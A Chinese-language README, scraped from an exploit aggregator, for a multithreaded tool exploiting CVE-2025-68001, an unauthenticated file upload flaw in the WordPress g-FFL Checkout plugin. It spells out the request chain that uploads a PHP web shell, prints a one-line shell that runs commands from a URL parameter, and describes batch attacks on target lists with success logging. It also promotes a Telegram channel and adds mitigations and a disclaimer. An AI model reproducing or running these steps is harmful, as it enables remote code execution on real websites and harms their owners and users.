## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NXPLOITED-CVE-2025-68001
# CVE-2025-68001
WordPress g-FFL Checkout 插件 <= 2.1.0 存在高危任意文件上传漏洞
root@kitploit:~
_ _ _ _ _ _ _ _ _ _
/ \ / |_ __ ) / \ ) |_ __ |_ (_) / \ / \ /|
\_ \/ |_ /_ \_/ /_ _) |_) (_) \_/ \_/ |
   
> 📡 **保持领先。** 加入 Telegram 上的 **@KNxploited** —— 您获取最新 CVE、零日漏洞和前沿漏洞研究的独家来源。持续更新。并非适合所有人。
* * *
## 📋 概述
**CVE-2025-68001** 是一个严重级别的**未认证任意文件上传漏洞** ,由 **garidium** 在 WordPress 的 **g-FFL Checkout** 插件中发现。
该漏洞允许未认证的远程攻击者通过 `ffl_upload_document` AJAX 操作将任意文件(包括 Web Shell)上传到目标服务器,从而导致**完全远程代码执行 (RCE)** 。
* * *
## ⚙️ 工作原理
该利用程序遵循一个精确的多步攻击链:
root@kitploit:~
1. GET /checkout
↓
从内联 JavaScript 数据中提取 `checkout_nonce`
2. POST /wp-admin/admin-ajax.php
action=ffl_upload_document
nonce=<提取的 nonce>
document_type=document
document=<伪装成 image/png 的 shell.php>
↓
服务器存储文件,未进行扩展名或 MIME 校验
3. 解析 JSON 响应
↓
提取上传文件路径 / 唯一文件名
4. 通过 HTTP 访问上传的 shell
↓
实现远程代码执行 ✔️
该插件暴露了一个 AJAX 端点 `ffl_upload_document`,该端点:
* 接受文件上传,无需身份验证
* 不执行任何服务端文件类型验证
* 在其 JSON 响应中返回存储的文件路径
* * *
## 🔧 要求
运行前安装所有依赖项:
root@kitploit:~
pip install requests rich
依赖项| 用途
---|---
`requests`| HTTP 请求与会话处理
`rich`| 终端界面、进度条、面板
`threading`| 多线程目标处理
> 要求 Python **3.8+** 。
* * *
## 📂 文件结构
root@kitploit:~
CVE-2025-68001/
├── CVE-2025-68001.py # Main exploit script
├── shell.php # Web shell to upload (you provide this)
├── list.txt # Target URLs (one per line)
└── success_results.txt # Auto-generated results output
* * *
## 🚀 使用方法
### 第一步 — 准备目标
创建一个 `list.txt` 文件,每行一个目标 URL:
root@kitploit:~
https://target1.com
https://target2.com
http://target3.com/wordpress
> 如果未提供协议,脚本会自动添加 `http://`。
* * *
### 第二步 — 准备 Shell
将您的 PHP Web Shell 放在同一目录中。一个最小化 shell 示例:
root@kitploit:~
<?php system($_GET['cmd']); ?>
保存为 `shell.php`(或任意名称 —— 您将在提示时输入)。
* * *
### 第三步 — 运行利用程序
root@kitploit:~
python CVE-2025-68001.py
您将收到交互式提示:
root@kitploit:~
Enter targets file name (default: list.txt):
> list.txt
Enter shell file name to upload (default: shell.php):
> shell.php
Enter number of threads (default: 50):
> 20
* * *
### 第四步 — 查看结果
成功的利用结果会自动保存到 `success_results.txt`:
root@kitploit:~
https://target.com | /wp-content/uploads/ffl/abc123.php | abc123.php | shell.php
每行包含:
* 目标 URL
* 服务器上的存储文件路径
* 服务器分配的唯一文件名
* 原始上传文件名
* * *
## 🖥️ 脚本参数参考
提示| 默认值| 描述
---|---|---
目标文件| `list.txt`| 包含目标 URL 的文件
Shell 文件| `shell.php`
* * *
## 📊 输出示例
root@kitploit:~
✔ https://victim.com — /checkout reachable. Trying exploit...
┌─────────────────────────────────────────────────────┐
│ Success │
│ https://victim.com │
│ Original Name: shell.php │
│ Unique Name: a7f3c1d9e.php │
│ Stored Path: /wp-content/uploads/ffl/a7f3c1.php │
└─────────────────────────────────────────────────────┘
所有目标处理完毕 ✔️。结果保存至 success_results.txt
* * *
## 🔍 漏洞代码路径(技术细节)
该漏洞位于插件未进行权限检查的 AJAX 处理器中:
root@kitploit:~
// No authentication or capability check
add_action('wp_ajax_nopriv_ffl_upload_document', 'ffl_upload_document');
function ffl_upload_document() {
// Nonce verified from /checkout page (publicly accessible)
// No MIME type validation
// No extension whitelist/blacklist
move_uploaded_file($_FILES['document']['tmp_name'], $upload_path);
wp_send_json_success(['file_path' => $upload_path]);
}
* * *
## 🛡️ 缓解与修复
如果您是**网站所有者或开发者** ,请立即采取以下步骤:
* ✅ **更新** `g-ffl-checkout` 插件到已修补版本(> 2.1.0)(如果可用)
* ✅ **禁用** 该插件,直到确认补丁
* ✅ **限制** 上传目录的执行权限(例如 `.htaccess` 规则)
* ✅ **实施** 服务端文件类型验证和严格的扩展名白名单
* ✅ **监控** 上传目录中的可疑 `.php` 文件
* ✅ **启用 WAF** 规则,阻止未认证的 AJAX 文件上传请求
* * *
## ⚠️ 免责声明
root@kitploit:~
THIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL AND AUTHORIZED
SECURITY RESEARCH PURPOSES ONLY.
By using this script, you explicitly agree to the following:
• You have EXPLICIT written permission from the target system owner.
• You are operating in a controlled lab or authorized penetration testing engagement.
• You will NOT use this tool against any system you do not own or have legal
authorization to test.
• The author (Nxploited) holds ZERO liability for any damage, data loss,
legal consequences, or misuse resulting from this tool.
Unauthorized use of this tool against systems without permission is ILLEGAL
and may violate laws including but not limited to:
— Computer Fraud and Abuse Act (CFAA)
— EU Directive on Attacks Against Information Systems
— And equivalent laws in your jurisdiction.
USE RESPONSIBLY. HACK ETHICALLY.
* * *
## 👤 作者
|
---|---
**代号**| Nxploited
**Telegram**| @KNxploited
**GitHub**| github.com/Nxploited
> 🔔 **在 Telegram 上关注@KNxploited** 以在第一时间获取最新的漏洞披露、利用程序发布 和安全研究 —— 先于他人。
* * *
由 **Nxploited** 精确构建 · 仅限教育用途